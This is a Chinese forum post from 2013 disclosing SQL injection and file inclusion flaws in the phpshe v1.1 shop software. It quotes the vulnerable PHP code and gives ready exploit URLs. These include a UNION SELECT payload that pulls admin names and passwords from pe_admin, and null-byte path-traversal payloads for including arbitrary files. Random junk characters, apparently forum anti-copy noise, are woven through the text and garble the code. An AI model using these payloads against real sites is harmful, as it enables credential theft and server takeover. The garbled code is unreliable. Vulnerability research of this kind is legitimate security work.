找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2323|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
& Y- v8 h9 S6 p0 ?0 Z/ r, X' M/* Phpshe v1.1 Vulnerability3 H2 w: e* D& J4 q0 [: o0 F5 ?
/* ========================
' }1 P# f4 Y& q4 j+ M/* By: : Kn1f3& b3 r4 t# K1 w1 h5 `" |
/* E-Mail : 681796@qq.com( }# w0 R' p5 Z' c
/*******************************************************/7 z8 p0 ]3 e& T( I
0×00 整体大概参数传输
( b( _1 E5 l7 }2 w6 _/ R
- B7 s; ~- q4 D* y) }
5 K9 f3 T6 A; N0 G+ K

( u" ~) i% C1 O% i( }5 w  H//common.php+ k+ m! l7 Y$ ?: S1 I) G
if (get_magic_quotes_gpc()) {) w% w* i; \3 B) F
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');% O) ?* v; d/ W# b) R
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
" v% X: L' S( w9 h& Q}
1 G8 H# ?3 _/ u  q0 T- jelse {+ g  i  F0 q: {; O2 R1 Z
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');9 R( Y" _$ ^) T' U9 D; U4 T7 `
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
2 V5 |, u9 R- o7 _9 ~9 G7 J! e}
- o. V! c, k1 {( G) \session_start();
9 D: w8 I" B2 e+ O# v!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
1 V# C, I6 i5 k* o!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
; d/ c& \, c1 }4 M" p. v/ V! R, O5 L) w% W9 V/ y
0×01 包含漏洞9 T" i; [, S2 [" b& D

* k; |: ]$ e1 J9 o4 Z  {

  K" c' Q( w3 ~) O: q1 Y//首页文件# v* W. s) I- x# ^  j& J
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
" H8 B" t- m. d  Q# r2 ^include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞+ [/ I; }1 C# N" V% X# }! K, v
pe_result();
/ T% g- e. _# \9 ~* R?>6 w( M& B% Z1 ?1 @
//common 文件 第15行开始
9 g4 Z+ e; k, ?6 z" G6 Wurl路由配置
( g0 J5 R8 H7 F5 X5 A; G1 T$module = $mod = $act = 'index';
8 H9 R7 ]/ l6 M" y$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
( V4 G' X  w2 N6 p. i/ G- k( Q2 u$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);* W( Z1 D$ V/ q! N: k3 b
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);. p! c; T6 [, d$ x
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
$ b4 p7 D/ P3 f- X

; g8 _' _4 M! |
" v! P: g& [/ S. @; Y% w
0×02 搜索注入1 n( _6 g9 E) E$ C) `0 b
5 G% v' T( ^4 [& E7 d5 c
<code id="code2">

//product.php文件" Y9 M2 x! v9 v2 J) N$ L: V; c- e) W
case 'list':  Q( T0 E5 a" l1 X0 T0 x
$category_id = intval($id);
" a  Q3 U# M) I8 t+ w$info = $db->pe_select('category', array('category_id'=>$category_id));. A) i9 d# c, ^( D& |# ^/ g
//搜索& V" b; I7 G/ E% f# n1 z
$sqlwhere = " and `product_state` = 1";
) [: a1 v% @( k2 I, j, Epe_lead('hook/category.hook.php');- V# j! T( E: w/ D4 x1 y
if ($category_id) {
- A+ i  D/ u8 ]. ^where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
0 i) T: U' V: P! x# P5 O' j}3 U4 L% M, ?! w& Y* t
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
0 c* V* ?6 E1 n4 B3 z9 Eif ($_g_orderby) {
: |! e0 j1 |! h0 Y' n$orderby = explode('_', $_g_orderby);2 O. I. j, L& c% Z8 c, w* m. V: [$ ]
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
9 H8 A) H' [2 y}
+ m' E" g; g; E% M9 t( gelse {, K& G) h4 K9 C6 a
$sqlwhere .= " order by `product_id` desc";
( Z# }1 S' @4 Q& T  |$ W}$ G: z& N( l8 O# @
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));% l4 |  z/ e3 j5 N5 @! i. S: t7 R
//热卖排行
7 B' ?+ a# b  `' e0 i: c$product_hotlist = product_hotlist();2 e) v; t0 M" S. `$ h+ n; ?
//当前路径, p4 @- R3 W$ U! @9 A; C, M  l
$nowpath = category_path($category_id);8 D! N2 Z/ f$ J0 ~' s; Z  p, V
$seo = pe_seo($info['category_name']);8 |/ p9 e. U0 \4 P
include(pe_tpl('product_list.html'));  a* r& U9 e1 N# w
//跟进selectall函数库
; |; B+ X5 S# }1 K4 X" e3 |0 Vpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
- a, y+ H7 T! n% R  t% F4 _( @5 G{4 `- [( f8 `  V1 \
//处理条件语句  t5 H% f2 T5 Q: a) A
$sqlwhere = $this->_dowhere($where);* i3 Y5 A/ {, K4 j, D
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
3 t7 Q# U+ _2 K}) |0 h  M5 A; x0 e. e/ |! o
//exp: T; y8 H9 M7 B( m+ w
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
" r) M. z/ U. Q( U1 E8 k. o( [

</code>) t9 i8 E8 @3 O! w  ]

8 d) H4 O# t8 G1 `6 a0×03 包含漏洞2& P/ F1 L/ b5 f$ e
2 l/ a+ P7 T6 S( N2 G: Q
<code id="code3">

//order.php

case 'pay':

9 m4 ^4 t2 w. A# T  n% T! `* N: a
$order_id = pe_dbhold($_g_id);


8 O; F7 [1 ~1 A$cache_payway = cache::get('payway');

0 x, E' A8 v8 L# Y5 l1 Y4 N6 O$ l% Z
foreach($cache_payway as $k => $v) {


# @& H2 d1 X2 d# l' L% \" h) w( N- Z$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


* N) s! ^2 s" i7 k; b& oif ($k == 'bank') {

" }/ Z0 ]$ u( w' v
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


4 r* V: \+ e% S$ S  R9 {. b; \}

9 g! {) @1 w8 Y4 |
}


2 w+ a3 J  K) Y' k' }$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

6 l4 a* g/ N# o+ m" Z4 ]
!$order['order_id'] && pe_error('订单号错误...');


' r8 i- S# H; }& \2 x' kif (isset($_p_pesubmit)) {


# U" Z( v  T7 g5 yif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

' J- E# J+ Z! b0 I$ ^! {  n0 n
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

$ W/ z7 N1 i+ V" {( [5 {
foreach ($info_list as $v) {


- d# q+ ]" Z4 `& w+ \$order['order_name'] .= "{$v['product_name']};";8 g5 S; a7 g& S* }$ ]1 H

. d/ @( H) t4 H/ m5 |
}

4 _) L6 H$ l* R9 T5 f- @* b
echo '正在为您连接支付网站,请稍后...';

! o1 ^/ _0 n% \+ u
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


% @6 M4 W5 Z* v1 N% s/ V( f! {}//当一切准备好的时候就可以进行"鸡肋包含了"


* n, d1 }$ U: [4 `( helse {

# H& v/ @0 s2 k$ g9 Q( B& y
pe_error('支付错误...');


) [9 d( U; ^; J% i1 t8 ]}

" X0 l9 `# w, ^/ L0 o: a
}

0 b: F2 W, D- e- Y! U( B
$seo = pe_seo('选择支付方式');

" K) O$ G0 l9 z2 t  q
include(pe_tpl('order_pay.html'));


" f2 U0 J) S" T" j! ybreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
/ j+ k& n1 P2 [5 S% A& X

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表